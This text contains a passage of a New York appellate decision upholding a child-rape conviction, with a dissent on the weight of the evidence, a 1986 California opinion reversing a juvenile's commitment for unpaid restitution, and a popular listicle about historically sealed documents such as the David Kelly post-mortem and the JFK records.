Fourth, defendant contends that the People improperly suggested that there had been more than one incident of abuse. The two prosecutors at the third trial, who were not the same ones from the prior trials, were under the mistaken impression that the two rape counts in the indictment were based on two separate incidents, when in fact it was two theories of rape based on only one incident. Defense counsel, who did not represent defendant at the prior trials, agreed with the prosecutors that the charges in the indictment were based on two incidents of rape. During the victim's testimony, the prosecutor asked her about a possible second incident. The victim initially testified that she could not remember, but then testified that it did occur. The victim admitted, however, that she was confused about whether there was a second incident, and testified that she did not think defendant did it a second time. Later during the trial, and after the victim's testimony, County Court reviewed the grand jury minutes and concluded that the charges had stemmed from just one incident. The court therefore struck the victim's testimony regarding the second alleged incident and instructed the jury that there was no evidence of more than one incident of rape. The court also dismissed the second count of rape charged in the indictment to avoid any possible confusion. The court found that the prosecutor's suggestion of a second incident was an honest mistake, and we conclude that the court's instructions were sufficient to alleviate any prejudice resulting from the testimony (see People v Spears, 140 AD3d 1629, 1630 [4th Dept 2016], lv denied 28 NY3d 974 [2016]). In any event, we conclude that defendant was not denied a fair trial by the prosecutor's erroneous elicitation of that testimony inasmuch as the testimony regarding the second incident was equivocal, at best.
Fifth, defendant contends that the prosecutor engaged in misconduct when she refreshed the victim's recollection regarding her disclosure to her mother. The victim testified that she told her mother that defendant "did something bad" to her, but she could not remember specifically what she told her mother that defendant did. The court allowed the prosecutor to refresh the victim's recollection using a transcript from the mother's testimony at the second trial. Her recollection having been refreshed, the victim testified that she told her mother that defendant did it "with his penis." Contrary to defendant's contention, a witness's testimony may be refreshed using any writing, whether or not made by the witness (see People v Betts, 272 App Div 737, 741 [1st Dept 1947], affd 297 NY 1000 [1948]; People v Goldfeld, 60 AD2d 1, 11 [4th Dept 1977], [*4]lv denied 43 NY2d 928 [1978]). There was therefore no misconduct by the prosecutor in refreshing the victim's recollection.
Defendant's next contention is that he was denied effective assistance of counsel based on counsel's failure to object to the above instances of alleged prosecutorial misconduct. Inasmuch as we conclude that the prosecutor either did not engage in misconduct, or that any error did not deny defendant a fair trial, we conclude that defendant was not denied effective assistance of counsel based on counsel's failure to object (see People v Lewis, 140 AD3d 1593, 1595 [4th Dept 2016], lv denied 28 NY3d 1029 [2016]; People v Lyon, 77 AD3d 1338, 1339 [4th Dept 2010], lv denied 15 NY3d 954 [2010]). Defendant's further contention that counsel was ineffective in failing to call an expert witness to testify regarding the washing machine theory is without merit (see People v Loret, 56 AD3d 1283, 1283 [4th Dept 2008], lv denied 11 NY3d 927 [2009]). Defendant failed to establish the absence of any strategic or other legitimate explanation for the failure to call such an expert (see generally People v Caban, 5 NY3d 143, 152 [2005]).
We now turn to defendant's contention on which we part ways with our dissenting colleague, i.e., the weight of the evidence. It is well settled that, in reviewing the weight of the evidence, we must first determine whether, "based on all the credible evidence[,] a different finding would not have been unreasonable" (People v Bleakley, 69 NY2d 490, 495 [1987]; see People v Danielson, 9 NY3d 342, 348 [2007]). We all agree that a different finding here would not have been unreasonable; the jury could have accepted the defense theory as set forth above and rejected the testimony of the victim. Our next step is to "weigh conflicting testimony, review any rational inferences that may be drawn from the evidence and evaluate the strength of such conclusions" (Danielson, 9 NY3d at 348; see Bleakley, 69 NY2d at 495). In undertaking such an analysis, "[g]reat deference is accorded to the fact-finder's opportunity to view the witnesses, hear the testimony and observe demeanor" (Bleakley, 69 NY2d at 495).
There was no conflicting testimony here, only conflicting inferences that could be drawn from the evidence. We conclude that, viewing the evidence in light of the elements of the crimes as charged to the jury (see Danielson, 9 NY3d at 349), the verdict is supported by the weight of the evidence. The victim testified that defendant placed his penis inside her vagina and that it hurt when he did so. The victim made a prompt disclosure of the abuse to her mother and then to the police detective, and both of those witnesses testified consistently with the victim regarding the disclosure. After the victim's disclosure, her mother immediately confronted defendant, who was sleeping in a bedroom, and asked him why the victim was saying that he hurt her vagina with his penis. The mother repeated that three times before defendant said, "[h]uh, what?" The mother testified that she was "very agitated because [she] knew that he heard me the first time," and upon shouting it for a fourth time, defendant responded, "I don't know. She said something about [her cousin] earlier." Defendant never denied the accusation, and we agree with the prosecutor's statement in summation that defendant's response does not seem to be that of a man who has been wrongfully accused of sexually assaulting someone he is close with. The victim's sexual assault examination revealed that the victim had redness to the external part of the genital area. Testing of the underwear that the victim was wearing at the time she made the disclosure to her mother showed that sperm later identified as matching defendant's DNA were on three locations of the underwear where drainage from the vaginal or anal cavity was most likely to be found.
The jury's determination to reject the defense theory was in accord with the weight of the evidence. The defense theory was that the victim's vagina hurt because she had a yeast infection, but the evidence was not clear on that issue. A yeast infection did not appear to be the diagnosis of the hospital, which appeared to diagnose the victim with possible sexual abuse and diaper rash, even though she no longer wore diapers. Although medical personnel at the hospital prescribed a cream that treated yeast infections, and the victim's mother testified that the victim had a history of yeast infections, the examining nurse who conducted the sexual assault examination testified that she did not observe symptoms that were indicative of a yeast infection and thus the victim was not tested for that condition. The defense theory was also that the victim made an innocent comment to her mother that "[defendant] did it" after stating that her vagina hurt, and the mother jumped to conclusions that defendant had raped the victim. The victim's actual statement to her mother, however, was not so innocent or innocuous. Even disregarding the victim's statement after having her memory refreshed, she testified that she remembered telling her mother that "[her] vagina hurt and that [defendant] did something bad to [her]."
The defense theory was also that the victim was confused by her cousin's abuse of her and the alleged abuse by defendant. The victim testified, however, that, although her cousin had done the same thing to her, she was not confusing the abuse by her cousin with the incident involving defendant. We note that the victim was only 4 years old at the time of this incident, the cousin was 11 years old, and defendant was 32 years old. We find it unlikely that the victim would confuse the abuse of her by another child with that by a grown man. Defense counsel also argued to the jury that physical evidence of injury would be expected in this case. Indeed, a nurse testified that she would expect to see some injury in a four year old who had been raped by an adult male with full penetration. That nurse, however, further testified that there may be no injury if the penetration was slight or there was lubrication. The jury heard that it was not uncommon for female rape victims not to exhibit injury to their genital area.
Lastly, the defense theory was that the sperm on the victim's underwear was explained by the washing machine theory, i.e., that defendant's sperm had transferred from an item of clothing in the washing machine to the victim's underwear. The jury heard testimony that this was certainly a possibility, but the other possibility was that the sperm had been deposited on the victim's underwear through defendant's semen. The second forensic scientist testified that the defense theory was not the most probable explanation, and the jury apparently agreed.
In sum, in a case such as this where the credibility of a witness is crucial to the determination of the defendant's guilt, we must be cognizant that we did not see or hear the victim testify. "[T]hose who see and hear the witnesses can assess their credibility and reliability in a manner that is far superior to that of reviewing judges who must rely on the printed record" (People v Lane, 7 NY3d 888, 890 [2006]). "The memory, motive, mental capacity, accuracy of observation and statement, truthfulness and other tests of the reliability of witnesses can be passed upon with greater safety by those who see and hear than by those who simply read the printed narrative" (People v Gaimari, 176 NY 84, 94 [1903]). The prosecutor urged the jury during her opening statement to pay careful attention to the victim when she testified: "watch her eyes, watch her demeanor, watch her as she tells you about those memories." In the prosecutor's summation, she again urged the jury to consider the victim's demeanor as she testified. It appears from the jury notes that the jury was focused on the victim's testimony, asking to have it read back to them and also asking to hear a readback from that part of the police detective's testimony where the victim disclosed the abuse to him. We see "no reason to disturb the jury's clear resolution of the issue of credibility in favor of the victim" (People v Beauharnois, 64 AD3d 996, 999 [3d Dept 2009], lv denied 13 NY3d 834 [2009]), and we are "convinced that the jury was justified in finding that guilt was proven beyond a reasonable doubt" (People v Delamota, 18 NY3d 107, 117 [2011]).
Finally, we conclude that the sentence is not unduly harsh or severe.
All concur except Lindley, J., who dissents and votes to reverse in accordance with the following memorandum: I respectfully dissent. In my view, the People failed to prove defendant's guilt beyond a reasonable doubt, necessitating reversal of the judgment and dismissal of the indictment. The four-year-old complainant was examined at the hospital within a day of when she alleged that defendant had raped her. Defendant had no criminal record and had never been accused of inappropriate sexual conduct by the victim or anyone else. The examination of the victim revealed a rash in the genital area but no damage to her hymenal tissue and no trauma to her vagina. As one of the nurses who examined the complainant acknowledged at trial, it is not typical for such a young girl who has been raped by a grown man to have no damage to her hymen. Although rape does not require penetration, the People's theory in this case was that defendant ejaculated inside the victim and that the sperm later drained onto her underwear, meaning that there must have been significant penetration.
In an attempt to explain away the lack of physical injury, the People called as an expert witness a pediatric nurse practitioner who has examined approximately 5,000 children for suspected sexual abuse. According to the expert, only 5-10% of the female child victims displayed an injury in the genital area. On cross-examination, however, the expert clarified that the 5-10% figure includes female victims up to age 21, and that most of the 5,000 victims she examined were not "acute" patients, i.e., they were not, unlike the complainant herein, examined immediately after the alleged sexual abuse occurred. Thus, the expert's testimony with respect to the lack of physical injury is close to meaningless in this case.
I note that the expert acknowledged that studies show that between 50 and 90% of female rape victims sustain physical injury to the genital area. The People assert that the complainant had pain and redness in her genital region, and that this therefore corroborates her testimony. But the complainant also had a yeast infection, which could just as plausibly explain the pain and redness, and, again, it is undisputed that there was no damage to the hymenal tissue notwithstanding the People's theory that the four-year-old complainant had been forcibly raped by an adult who ejaculated inside her.
A second problem with the case is that, although defendant's sperm was found on the victim's underwear, the attending nurse performed 20 separate AP tests on the underwear, and all 20 tests were negative for semen. The People's expert testified that the sperm, which is only a small component of semen, was likely the result of "discharge" from the victim's vagina. If there was such discharge, it stands to reason that the non-sperm portions of semen would also be on the underwear, but none were found. The People have no explanation for how defendant's sperm but not semen could be on the underwear.
The only explanation that has been proffered is defendant's theory that the sperm was transferred onto the underwear in the wash from clothes or bedding that contained his semen. The People's experts acknowledged at trial that this is a scientifically valid theory, as the sperm could survive the wash and become embedded in the underwear while the other components of semen would get washed away. Nevertheless, the People's DNA expert testified that she did not believe that the laundry explanation was "the most probable explanation for the sperm being there." Of course, it is not enough for the People to prove that defendant is probably guilty (see People v Carter, 158 AD3d 1105, 1106 [4th Dept 2018]); they must prove his guilt beyond a reasonable doubt. I note that none of the People's witnesses testified that the AP test can result in false negatives.
I am also troubled by the complete absence of any semen or sperm on any of the swabs taken from the victim's legs, buttocks, vaginal area and anal area. If the sperm drained onto the underwear, as the People posit, one would think that it would have drained onto the victim's thighs or near her vagina. But no semen or sperm was found in any of those areas, notwithstanding that the victim had not showered or bathed since the attack.
It is true, as the People point out, that we generally afford great deference to credibility determinations made by the trier of fact, who is in a far superior position to assess the veracity of witnesses (see People v Bleakley, 69 NY2d 490, 495 [1987]), and here the jury evidently believed the victim's testimony that defendant placed his penis in her vagina. The victim was only four years old when this happened, however, and she repeatedly testified that she could not remember much about the incident, other than it happened on the bed and that she was on top of defendant, which seems at odds with how the rape of a young child would usually occur.
I note that the prosecutor, who was under the misapprehension that defendant had been charged with two separate rapes, asked the victim whether "this" happened another time, and the victim answered "yes." As the court later determined, defendant had been charged with only one rape, and the victim had never previously made any allegations about a second incident. The victim's affirmative response to the question about a second incident that never occurred raises concerns about the reliability of her testimony with respect to the first incident, especially considering that it is undisputed that the victim was raped by her older cousin shortly before she claimed she was raped by defendant.
Concerned "about the incidence of wrongful convictions and the prevalence with which they have been discovered in recent years," the Court of Appeals has stressed the importance of the role of the Appellate Division in serving, "in effect, as a second jury," to "affirmatively review the record; independently assess all of the proof; substitute its own credibility determinations for those made by the jury in an appropriate case; determine whether the verdict was factually correct; and acquit a defendant if the court is not convinced that the jury was justified in finding that guilt was proven beyond a reasonable doubt" (People v Delamota, 18 NY3d 107, 116-117 [2011] [emphasis added]; see People v Oberlander, 94 AD3d 1459, 1459 [4th Dept 2012]). Here, I am not convinced that defendant's guilt was proven beyond a reasonable doubt. I therefore vote to reverse the judgment and dismiss the indictment.
Entered: April 26, 2019
Mark W. Bennett
Clerk of the Court
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177 Cal.App.3d 415 (1986)
223 Cal. Rptr. 4
In re ANGEL E., a Person Coming Under the Juvenile Court Law.
T. GLEN BROWN, as Chief Probation Officer, etc., Plaintiff and Respondent,
v.
ANGEL E., Defendant and Appellant.
Docket No. F005632.
Court of Appeals of California, Fifth District.
January 17, 1986.
*417 COUNSEL
Peter C. Carton, under appointment by the Court of Appeal, for Defendant and Appellant.
John K. Van de Kamp, Attorney General, and W. Scott Thorpe, Deputy Attorney General, for Plaintiff and Respondent.
OPINION
BEST, J.
When payment of restitution is a condition of a probationary order of the juvenile court, may the ward's probation be revoked upon his failure to make restitution payments as ordered?
Absent a showing of the ward's wilful failure to make restitution payments, we will hold that the answer is "No."
*418 THE CASE
In 1982, two different burglary petitions were sustained against minor and he was ordered to pay restitution in the total sum of $285.24. Minor failed to submit any payment. Many attempts were made in 1984 to persuade minor to honor his restitution obligations, all of which failed.
A supplemental petition filed on October 31, 1984, alleged that minor came within the provisions of Welfare and Institutions Code section 777, subdivision (a),[1] in that he violated probation by failing to pay restitution as previously ordered by the court.
Ultimately, Angel admitted the allegations of the supplemental petition, and he was committed to the California Youth Authority (CYA) for a period not to exceed four years, less four hundred fifty-seven days credit.
DISCUSSION
In 1982 at the time the restitution order herein was made, section 731 authorized the juvenile court to order a ward to pay restitution as part of his rehabilitation. (See also §§ 729.6 and 730.6 added by Stats. 1983, ch. 940, §§ 3 and 4, respectively.)
(1) While juvenile court proceedings are not criminal proceedings (§ 203), "the `"civil" label-of-convenience' (In re Gault, 387 U.S. 1, 50 [18 L.Ed.2d 527, 558, 87 S.Ct. 1428]) cannot obscure the quasi-criminal nature of juvenile proceedings, involving as they often do the possibility of a substantial loss of personal freedom." (Joe Z. v. Superior Court (1970) 3 Cal.3d 797, 801 [91 Cal. Rptr. 594, 478 P.2d 26]; In re Brian S. (1982) 130 Cal. App.3d 523, 529, fn. 2 [181 Cal. Rptr. 778].) As in In re Brian S., for purposes of our discussion, the restitution order must be deemed part of the quasi-criminal nature of juvenile proceedings. (Ibid.)
(2) Since a possible result of a supplementary proceeding under section 777 is that of commitment to CYA (as, indeed, happened in the instant case), the proceeding must meet the constitutional due process standards of criminal proceedings. (In re Donna G. (1970) 6 Cal. App.3d 890, 894 [86 Cal. Rptr. 421].) Section 777 requires the supplemental petition to contain "... a concise statement of facts sufficient to support the conclusion that the previous disposition has not been effective in the rehabilitation or protection of the minor."
*419 (3) The only facts alleged in the instant supplemental petition were that Angel had failed to pay restitution in the amount of $285.24 by August 14, 1984, as previously ordered by the court.
At the dispositional hearing held on April 24, 1985, the juvenile judge stated: "The Court: Well, I believe that one has to earn trust. What Angel has done here, and his background is committing two burglaries that we know of he has failed to pay restitution and he failed to report to his probation officer. He failed to appear for a revocation hearing that was scheduled that he was aware of. He finally gets caught prowling on school grounds. He has done poorly in school and he's been to the Kern Youth Facility twice and Camp Irwin Owen once. Because of assault of [sic] conduct at Camp Owen they don't want him back up there. With that kind of background Angel, you have not earned the trust of this Court to give you the kind of chance that you are asking for here."
In committing Angel to CYA it is apparent the court relied on many factual matters which were not alleged in the supplemental petition nor adjudicated, e.g., (1) "he failed to report to his probation officer," (2) "He failed to appear for a revocation hearing that was scheduled that he was aware of," (3) "He finally gets caught prowling on school grounds;" (4) "He has done poorly in school," and (5) "Because of assault of [sic] conduct at Camp Owen...." This was error. While these matters were contained in the probation officer's reports, "if the court were to consider the facts contained in those reports, due process, and section 777, require that they be at least summarized in the petition and regularly proven at the hearing." (In re Donna G., supra, 6 Cal. App.3d at p. 895.)
In support of the CYA commitment, plaintiff lists as a proper factor for the court's consideration the fact that "three separate Camp Erwin Owen spokesmen `emphatically requested that the minor not be considered for a second commitment there, as he was considered assaultive, possessing limited intelligence and believed to be gang oriented.'" However, not only were these matters not set forth in the supplemental petition, there was no factual basis in the probation report or anywhere in the record upon which the juvenile court could rely to accept the opinion that minor was assaultive, of limited intelligence and gang oriented. Indeed, although the probation officer also believed the minor was prone to involvement in gang activity, he conceded that "[t]hus far, there is no documented evidence to support this opinion."
Plaintiff also relies on the probation officer's conclusion in his report stating, "It is this officer's opinion that the minor has learned little or nothing from counseling and supervision provided by agencies, institutions, and *420 individuals on the county level during what has already been a lengthy period of probationary status. Angel continues to exhibit contempt and disregard for court orders and is suspected of ongoing delinquent activity, including street gang involvement." Again, there is no factual basis for the probation officer's suspicion of ongoing delinquent activity, to the extent he refers to criminal conduct if committed by an adult, or gang involvement. As to the former, it appears that the juvenile court may have relied on the probation officer's speculation. In stating grounds for the CYA commitment, the court stated, "[minor's] background is committing two burglaries that we know of. ..." Since no facts were established to support the probation officer's suspicions, it was improper for the court to rely on them.
(4) It thus appears that the only factual finding which could arguably support the section 777 adjudication and the subsequent commitment of Angel to CYA was his failure to pay restitution as previously ordered by the court.
Subdivision (e) of section 730.6 provides in pertinent part: "However, probation shall not be revoked for failure of a person to make restitution pursuant to Section 729.6 as a condition of probation unless the court determines that the person has willfully failed to pay or failed to make sufficient bona fide efforts to legally acquire the resources to pay." In the instant case, there was no finding by the juvenile court that Angel "has willfully failed to pay or failed to make sufficient bona fide efforts to legally acquire the resources to pay" restitution as ordered.[2]
(5) Furthermore, even absent subdivision (e) of section 730.6, without a finding that the failure was willful, a finding that Angel violated his probation by failing to pay restitution as ordered and his subsequent commitment to CYA for that reason would be violative of the equal protection clause of the Fourteenth Amendment. "An indigent defendant cannot be imprisoned because of his inability to pay a fine, even though the fine be imposed as a condition of probation." (People v. Kay (1973) 36 Cal. App.3d 759, 763 [111 Cal. Rptr. 894, 73 A.L.R.3d 1235], citing In re Antazo (1970) 3 Cal.3d 100, 116 [89 Cal. Rptr. 255, 473 P.2d 999].)
*421 (6) In this context, an order to pay restitution as a condition of probation is no different than an order to pay a fine. (See In re Brian S., supra, 130 Cal. App.3d 523, 532.)
By admitting the allegations of the supplemental petition Angel admitted only the factual allegation that he had failed to pay restitution as previously ordered by the court. As we have noted, this admission was legally insufficient to support a finding that he had violated the terms of his probation. The additional factual matters relied upon by the court to support its order committing Angel to CYA were neither alleged in the supplemental petition nor adjudicated.
Under these circumstances, the order sustaining the section 777 petition must be, and is, set aside and the commitment order appealed from is reversed.
Martin, Acting P.J., and Hamlin, J., concurred.
NOTES
[1] All statutory references are to the Welfare and Institutions Code unless otherwise indicated.
[2] Even if we were to accept plaintiff's contention that the minor had the burden of proving both a bona fide effort to pay the restitution and indigency, the only evidence before the juvenile court sufficiently established both requirements. The probation officer's report indicates the minor explained his unsuccessful efforts at obtaining employment. Also, minor apparently established indigency at the inception of the juvenile court proceedings since he was represented by the public defender below and by appointed counsel on appeal. (See People v. Feagley (1974) 39 Cal. App.3d 772, 775 [114 Cal. Rptr. 663].) No evidence was presented to rebut either showing.
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Sealing documents and records is actually a fairly common practice. In many countries, birth, marriage and divorce records, just to name a few, are often sealed for a variety of reasons. However, when documents are sealed, or kept secret, in highly publicized cases it becomes very intriguing and mysterious with potential conspiracy implications. In this list I have gathered what I hope are 10 interesting unopened and opened documents that were sealed or not available to the public, for one reason or the other.
10 Dr. David Kelly’s Post Mortem
Sealed Until: 2073
David Kelly worked for the U.K Ministry of Defense as an expert in bio-weapons. He was also one of the key UN weapons inspectors in Iraq. In 2003, he became concerned about the US/UK claims of WMD in Iraq in the build-up to the Iraq war. The trouble started when Kelly became an anonymous source for a BBC journalist, who quoted his doubts about the existence of weapons of mass destruction. After Kelly’s identity was leaked, a Parliamentary committee, tasked with investigating the intelligence on Iraq, asked Kelly to testify, which he did. During his testimony Kelly denied any knowledge of the quotes. Several days after his testimony, he went for a walk, as he did almost every day. In a wooded area about a mile away from his home he ingested up to 29 tablets of painkillers then cut his left wrist. The British government announced that Lord Hutton would lead the Inquiry into Kelly’s death. The Hutton Inquiry reported, on the 28th of January, 2004, that Kelly had committed suicide. Although suicide was officially accepted as the cause of death, some medical experts have their doubts, suggesting that the evidence does not back this up. In January 2010, Lord Hutton ordered that all files relating to the post mortem remain sealed for 70 years from the date of his death, for reasons that have not been explained.
Interesting Fact: Most of the articles I came across concerning Dr. Kelly were pretty much agenda driven, with a lot of conspiracy theories. I do admit that the sealed post mortem does make it seem a little fishy. However, it should be pointed out that there are still many who believe that Kelly committed suicide. They explain that the killer, or killers, would have had to kidnap him and march him into the woods, then force tablets down his throat and make him cut his own wrist. All of this without leaving any trace of forensic evidence on Kelly. It is also said that just before he was found dead, he was seen alone by a friend on his way to the woods, where they exchanged pleasantries.
9 Shirley Ardell Mason Files
Sealed Until: Indefinitely
The life of Shirley Ardell Mason was chronicled by Arthur Flora Rheta Schreiber in the book “Sybil”. It was published in 1973 and then made into a television movie in 1976, starring Sally Field. Mason’s real name was not used in order to protect her identity. In the early 1950s, Mason was a student at Columbia University and had long suffered from blackouts and emotional breakdowns, and had started therapy with psychiatrist Cornelia B. Wilbur. It was their psychotherapy sessions together that was the basis of the book. Wilber diagnosed and treated her for multiple personality disorder, with, reportedly, up to 16 co-existing personalities. In 1998, Robert Rieber and John Jay of the College of Criminal Justice claimed Wilbur had manipulated Mason in order to secure a book deal. Neither Rieber nor Jay are psychologists, but the miss-diagnoses was also supported by Dr. Herbert Spiegel, who saw Mason for several sessions while Wilbur was on vacation. Spiegel argued that Sybil had disassociation disorder, not multiple personalities. Shirley Ardell Mason died of breast cancer in 1998, at the age of 75. The case still remains very controversial and, due to privacy laws, it is very unlikely that Mason’s therapy records will ever be released to the public.
Interesting Fact: Dr. Herbert Spiegel recalled that Wilbur came to him with author Flora Rheta Schreiber and asked him to co-author the book with them, and that they would be calling the book Sybil a “multiple personality.” Spiegel told them, “But she’s not a multiple personality!” When Spiegel told Wilbur and Schreiber that multiple personality would not be accurate, Schreiber got in a huff and said, “But if we don’t call it a multiple personality, we don’t have a book!”
8 Mark Twain’s Autobiography
Sealed Until: This Year
One of Mark Twain’s wishes before he died was that his autobiography not be published until 100 years after his death, which was April 21, 1910. Twain left behind thousands of unedited pages of memoirs, together with handwritten notes. Included in the memoirs are 400 pages detailing his relationship with Isabel Van Kleek Lyon, who became his secretary after his wife died in 1904. Twain says he was so close to Lyon that she once bought him an electric vibrating sex toy. However he later turns on her, saying she had seduced him and “hypnotized” him into giving her the power of attorney over his estate. Also included are his doubts about God, and questions the imperial mission of the U.S. in Cuba, Puerto Rico and the Philippines. The first volume of the autobiography is to be published November 2010 by the University of California, where the manuscripts were sealed in a vault. The eventual trilogy will run close to half a million words.
Interesting Fact: No one really know for sure why Mark Twain wanted the first-hand account of his life kept under wraps for so long. Some scholars believe it was because he wanted to talk freely about issues such as religion and politics. Others argue that the time lag prevented him from having to worry about offending friends. I think it was probably both.
7 Identical Twin Study
Sealed Until: 2066
In the 1960s and 70s renowned New York psychologist Viola Bernard and her colleague, Dr. Peter Neubauer, conducted a nature-nurture study. They persuaded an adoption agency to send twins to different homes, without telling the respective adoptive parents that the children were, in fact, twins. In 1963, Dr. Bernard wrote that the study “provides a natural laboratory situation for studying certain questions with respect to the nature-nurture issue, and of family dynamic interactions in relation to personality development.” She also believed that, if separated, identical twins would be better off with their individual identities. When the families adopted the children, they were told that their child was already part of an ongoing child study, but neglected to tell them the key element of the study. The adoptive families would travel separately to the center once a month for 12 years for IQ tests and speech analysis. They would also visit their homes and film the children playing. The study ended in 1980, and a year later, the state of New York began requiring adoption agencies to keep siblings together. Realizing that public opinion would be against this type of research, Dr. Neubauer decided not to publish it. Yale University gathered all the information from the study and sealed it until 2066, when most of the participants will likely be dead.
Interesting Fact: I know these twins were already featured in a twins list a while back, but I think they are worth another look. The two women pictured above, Elyse and Paula, were one of the sets of twins studied. When Elyse was 35 she registered with the Adoption Information Registry, and later received a call telling her she had a twin sister. She was also told about the controversial study. When the twins were reunited they started to investigate the details of their adoption. Dr. Bernard had already died, but the twins were able to track down Dr. Neubauer and, after many requests, he agreed to meet with them. The doctor showed no remorse and offered no apology. Of the 13 children involved in the study, three sets of twins and one set of triplets have discovered their siblings. There are still four people who don’t know that they have an identical twin. Efforts to have Yale University release the records by the sisters and other twins have failed. For those who want to know more about Elyse and Paula’s remarkable story, you can watch an interview of the two here.
6 France’s Secret UFO Files
Opened in: 2007
In 2007, France’s National Center for Space Studies made available over 1000 files on UFO cases, that have been researched by the French government for over 50 years. The archives were made available onto its Internet site for worldwide viewing. The files include pictures of possible UFOs, eyewitness accounts, field journals and inter-governmental documents on those sightings. Within three hours of posting the first cases, the French space agency’s Web server crashed because of the flood of viewers seeking the first glimpses of official government UFO files. Jacques Patenet, who heads the Group for the Study of Unidentified Aerospace Phenomena said “the data that we are releasing doesn’t demonstrate the presence of extraterrestrial beings, but it doesn’t demonstrate the impossibility of such presence either”. The French government is the first to release this type of information to the public. Great Britain then followed by releasing their files in 2008. You can go on the French website here and the UK site can be found here.
Interesting Fact: One of the more interesting cases included in the files happened on Aug. 29, 1967. A 13-year-old boy and his 9-year-old sister were watching over their family’s cows near the village of Cussac when the boy spotted “four small black beings” about 47 inches tall. Thinking they were other youngsters, he shouted to his sister, “Oh, there are black children!” But as they watched, the four beings became agitated and rose into the air, entering the top of what appeared to be a round spaceship, about 15 feet in diameter, which hovered over the field. Just as the sphere rose up, one of the passengers emerged from the top and returned to the ground to grab something, then flew back to the sphere. The sphere “became increasingly brilliant” before disappearing with a loud whistling sound and left “a strong sulfur odor after departure,” The children raced home in tears and their father summoned the local police, who “noted the sulfur odor and the dried grass at the reported place where the sphere took off.”
5 Kennedy’s Assassination Records
Sealed Until: 2017
In 1964, the Warren Commission submitted the unpublished portion of the assassination records to the National Archives, where it was to be sealed and locked away until 2039 (75 years later). This was to serve as protection for innocent persons who might be damaged because of their relationship with participants in the case. However, due to the popularity of Oliver Stone’s film, JFK, and because of the public outcry, it led to the passage of The President John F. Kennedy Assassination Records Collection Act of 1992. This Act mandated that all assassination-related material be housed in a single collection in the National Archives and Records Administration. The Act also requires that each assassination record be publicly disclosed in full, and be available in the collection no later than 25 years after the date of enactment. From 1994 to 1998, almost all of all Warren Commission documents had been released to the public. The resulting collection consists of more than 5 million pages of assassination-related records, photographs, sound recordings, motion pictures and artifacts. By 2017, all existing assassination-related documents will be made public.
Interesting Fact: I guess I’m still in the minority to believe in the lone gunman theory but I do have an open mind about it. In a recent U.S. poll the following questions were asked: “Do you think Lee Harvey Oswald was the only gunman in the Kennedy assassination, do you think there was another gunman in addition to Oswald there that day, or do you think Oswald was not involved in the assassination at all?” Results are: Only Oswald 32%, Another Gunman 51%, Oswald Not Involved 7% No Opinion 10%. You can watch a recent digitized version of the famous Zapruder film here.
4 Trial Records of Mata Hari
Opened in: 1985
Mata Hari was the stage name of a highly successful Dutch exotic dancer, Gertrud Margarete Zelle. Because of her profession, she had many cross-border associations. During World War 1, the French Government convinced her to travel to neutral Spain. There she could develop relationships with the German navy and army and report any intelligence back to Paris. There are different accounts for reasons why she was accused of being a double spy. Several sources claim that, in January 1917, the German military transmitted a radio message to Berlin describing the helpful activities of a German spy, code-named H-21. French intelligence agents intercepted the messages and identified H-21 as Mata Hari. What makes this even more interesting is that the messages are said to be in a code that German intelligence knew had already been broken by the French. This leaves some historians to suspect that the messages were contrived and the French were using her as a propaganda boost. They claimed she had cost the lives of 50,000 French soldiers. Mat Hari was arrested, stood trail and was convicted of being a German Spy. On October 15th 1917, at the age of 41, Mata Hari was executed by firing squad. She went to her death with dignity, all the while proclaiming her innocence. The prosecutor wanted the trial to be in secret and the records were to be sealed for 100 years. However, in 1985, Biographer Russell Warren convinced the National defense Minister of France to open the sealed case file thirty two years early. In the opinion of many experts, it’s said to reveal that Mata Hari was innocent of the charges of which she was convicted.
Interesting Fact: The more I read about Mata Hari, the more fascinating I found her. I also found this interesting. Henry Wales, a British reporter and eye witness, wrote this incredibly detailed account about the day of her execution. You can read it here.
3 Martin Luther King Tapes
Sealed Until: 2027
Fearing that Martin Luther King Jr. had ties to Communist organizations, the FBI spied on him for several years. The FBI described King as “the most dangerous and effective Negro leader in the country”. FBI Director J. Edgar Hoover filed a request with Attorney General Robert Kennedy to wiretap King and his associates. Kennedy gave the Bureau permission and tapped their phones and placed hidden microphones in homes, hotel rooms and offices. The FBI was unsuccessful in proving that he had ties to Communists; however they did have something that would reveal embarrassing details about King’s sex life. King refused to give in to the FBI’s threats, even after the FBI drafted a letter to him from an anonymous source detailing everything they knew about his sexual transgressions. Highlights of the letter include: “You are a colossal fraud and an evil, vicious one at that.” “The American public will know you for what you are, an evil, abnormal beast, and Satan could not do more” “King, there is only one thing left for you to do.” Some have theorized the intent of the letter was to drive King to commit suicide in order to avoid personal embarrassment. On January 31, 1977, district Judge John Lewis Smith, Jr., ordered all known copies of recorded audiotapes and written transcripts resulting from the FBI’s surveillance of King between 1963 and 1968 to be sealed in the National Archives and away from public access for 50 years.
Interesting Fact: Ralph Abernathy was a close associate of King’s in the civil rights movement. In his autobiography titled “And the Walls Came Tumbling Down”, he does mention that King was a “womanizer”. He also wrote this about the Surveillance Tapes: “I remember in particular a stay at the Willard Hotel in Washington, where they not only put in audio receivers, but video equipment as well. Then, after collecting enough of this ‘evidence’ to be useful, they began to distribute it to reporters, law officers, and other people in a position to hurt us.” Finally, when no one would do Hoover’s dirty work for him, someone in the FBI put together a tape of highly intimate moments and sent them to Martin. Unfortunately — and perhaps this was deliberate — [his wife] Coretta received the tape and played it first. But such accusations never seemed to touch her. She rose above all the petty attempts to damage their marriage by refusing to even entertain such thoughts.
2 Sinking of the RMS Lancastria
Sealed Until: 2040
On June 17th 1940, the Lancastria was evacuating British troops and civilian refugees, including women and children from France, which was then on the point of collapse. At 6:00am, Captain Rudolf Sharp received orders to load as many troops and refugees as possible, and to disregard international laws on passenger limits. By lunchtime, the decks were packed with anywhere between 6,000 to 9,000 troops and refugees. A nearby destroyer signaled the Lancastria to get under way, if she was full to capacity, but offered no escort. At 3.48pm, a German bomber appeared and dropped four bombs which ripped through the Lancastria. Within 20 minutes the, luxury liner went down, taking with her an estimated 4,000 to 7,000 victims. The official report of this terrible incident was sealed for 100 years under the Official Secrets Act. It has been argued that this might be because if it could be confirmed that the Ministry of Defense did indeed instruct Captain Sharp to ignore load restrictions, there would be grounds for compensation claims from relatives. In July 2007, another request for documents held by the Ministry of Defense related to the sinking was rejected by the British Government. This tragedy was the largest single-day loss of life to the British Army since the Battle of the Somme. To this day there has been no official British government recognition of the dead or the survivors.
